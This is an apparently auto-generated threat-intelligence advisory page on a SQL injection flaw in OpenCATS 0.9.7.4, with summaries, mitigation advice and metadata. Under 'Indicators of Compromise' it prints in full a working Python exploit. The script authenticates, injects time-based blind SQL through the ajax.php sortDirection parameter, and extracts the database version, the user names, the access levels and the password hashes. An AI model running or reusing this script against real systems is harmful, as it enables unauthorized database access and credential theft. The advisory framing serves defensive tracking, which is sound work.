OpenCATS 0.9.7.4 - SQL Injection
OpenCATS 0.9.7.4 - SQL Injection
AI Analysis
Technical Summary
OpenCATS versions up to and including 0.9.7.4 are vulnerable to SQL Injection. This vulnerability arises from improper sanitization of user input in database queries, enabling attackers to inject malicious SQL commands. The exploit targets typical LAMP stack environments, specifically Ubuntu 22.04 with Apache2, PHP, and MariaDB 10.6. Public exploit code exists in Python, authored by Gabriel Rodrigues (TEXUGO) from HAKAI, and is cataloged as Exploit-DB ID 52579. No vendor advisory or patch information is available, and no active exploitation has been observed.
Potential Impact
Successful exploitation of this SQL Injection vulnerability could allow attackers to execute arbitrary SQL commands on the OpenCATS database. This may lead to unauthorized data disclosure, data modification, or other database-related impacts depending on the attacker's privileges and the database configuration. However, there are no reports of active exploitation in the wild at this time.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is released, users should consider restricting access to the affected application, applying web application firewall (WAF) rules to detect and block SQL injection attempts, and monitoring for suspicious database activity. Avoid deploying vulnerable versions in production environments where sensitive data is stored.
Indicators of Compromise
- exploit-code: # Exploit Title: OpenCATS 0.9.7.4 - SQL Injection # Exploit Author: Gabriel Rodrigues (TEXUGO) from HAKAI # Vendor Homepage: https://www.opencats.org # Software Link: https://github.com/opencats/OpenCATS # Version: <= 0.9.7.4 # Tested on: Ubuntu 22.04 / Apache2 / PHP / MariaDB 10.6 # CVE: N/A (GHSA-8mc8-5gw6-c7w4) import requests, json, sys, time url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8888" user = sys.argv[2] if len(sys.argv) > 2 else "admin" pw = sys.argv[3] if len(sys.argv) > 3 else "cats" delay = 1.5 s = requests.Session() s.get(f"{url}/index.php") s.post(f"{url}/index.php?m=login&a=attemptLogin", data={"username": user, "password": pw}, allow_redirects=True) def sqli(payload): t = time.time() s.get(f"{url}/ajax.php", timeout=30, params={"f": "getDataGridPager", "i": "candidates:candidatesListByViewDataGrid", "p": json.dumps({"sortBy": "dateModifiedSort", "sortDirection": payload, "rangeStart": 0, "maxResults": 15})}) return time.time() - t def blind(cond): return sqli(f"DESC,IF(({cond}),SLEEP({delay}),0)") > delay * 0.6 def extract(query, maxlen=100): out = "" for i in range(1, maxlen + 1): if blind(f"LENGTH({query})<{i}"): break lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 lo, hi = (mid + 1, hi) if blind(f"ORD(SUBSTRING({query},{i},1))>{mid}") else (lo, mid) out += chr(lo) return out base = sqli("DESC") slp = sqli("DESC,SLEEP(2)") print(f"baseline={base:.2f}s sleep(2)={slp:.2f}s") assert slp > base + 1, "not vulnerable or no candidate rows" print("injection confirmed\n") print("version:", extract("@@version", 30)) print("database:", extract("DATABASE()", 20)) n = int(extract("(SELECT COUNT(*) FROM user)", 3)) print(f"users: {n}\n") for i in range(n): name = extract(f"(SELECT user_name FROM user ORDER BY user_id LIMIT {i},1)", 40) level = extract(f"(SELECT access_level FROM user ORDER BY user_id LIMIT {i},1)", 5) hash_ = extract(f"(SELECT password FROM user ORDER BY user_id LIMIT {i},1)", 62) print(f" {name} level={level} hash={hash_}")
OpenCATS 0.9.7.4 - SQL Injection
Description
OpenCATS 0.9.7.4 - SQL Injection
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
OpenCATS versions up to and including 0.9.7.4 are vulnerable to SQL Injection. This vulnerability arises from improper sanitization of user input in database queries, enabling attackers to inject malicious SQL commands. The exploit targets typical LAMP stack environments, specifically Ubuntu 22.04 with Apache2, PHP, and MariaDB 10.6. Public exploit code exists in Python, authored by Gabriel Rodrigues (TEXUGO) from HAKAI, and is cataloged as Exploit-DB ID 52579. No vendor advisory or patch information is available, and no active exploitation has been observed.
Potential Impact
Successful exploitation of this SQL Injection vulnerability could allow attackers to execute arbitrary SQL commands on the OpenCATS database. This may lead to unauthorized data disclosure, data modification, or other database-related impacts depending on the attacker's privileges and the database configuration. However, there are no reports of active exploitation in the wild at this time.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is released, users should consider restricting access to the affected application, applying web application firewall (WAF) rules to detect and block SQL injection attempts, and monitoring for suspicious database activity. Avoid deploying vulnerable versions in production environments where sensitive data is stored.
Technical Details
- Version
- <= 0.9.7.4
- Vendor
- https://www.opencats.org
- Application
- https://github.com/opencats/OpenCATS
- Author
- Gabriel Rodrigues (TEXUGO) from HAKAI
- Platform
- Ubuntu 22.04 / Apache2 / PHP / MariaDB 10.6
- Edb Id
- 52579
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for OpenCATS 0.9.7.4 - SQL Injection
# Exploit Title: OpenCATS 0.9.7.4 - SQL Injection # Exploit Author: Gabriel Rodrigues (TEXUGO) from HAKAI # Vendor Homepage: https://www.opencats.org # Software Link: https://github.com/opencats/OpenCATS # Version: <= 0.9.7.4 # Tested on: Ubuntu 22.04 / Apache2 / PHP / MariaDB 10.6 # CVE: N/A (GHSA-8mc8-5gw6-c7w4) import requests, json, sys, time url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8888" user = sys.argv[2] if len(sys.argv) > 2 else "admin" pw = sys.argv[3] if len... (1641 more characters)
Threat ID: 6a1769c5e29bf47b50f43bbe
Added to database: 05/27/2026, 22:01:41 UTC
Last enriched: 06/23/2026, 17:14:05 UTC
Last updated: 07/31/2026, 15:05:53 UTC
Views: 86
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.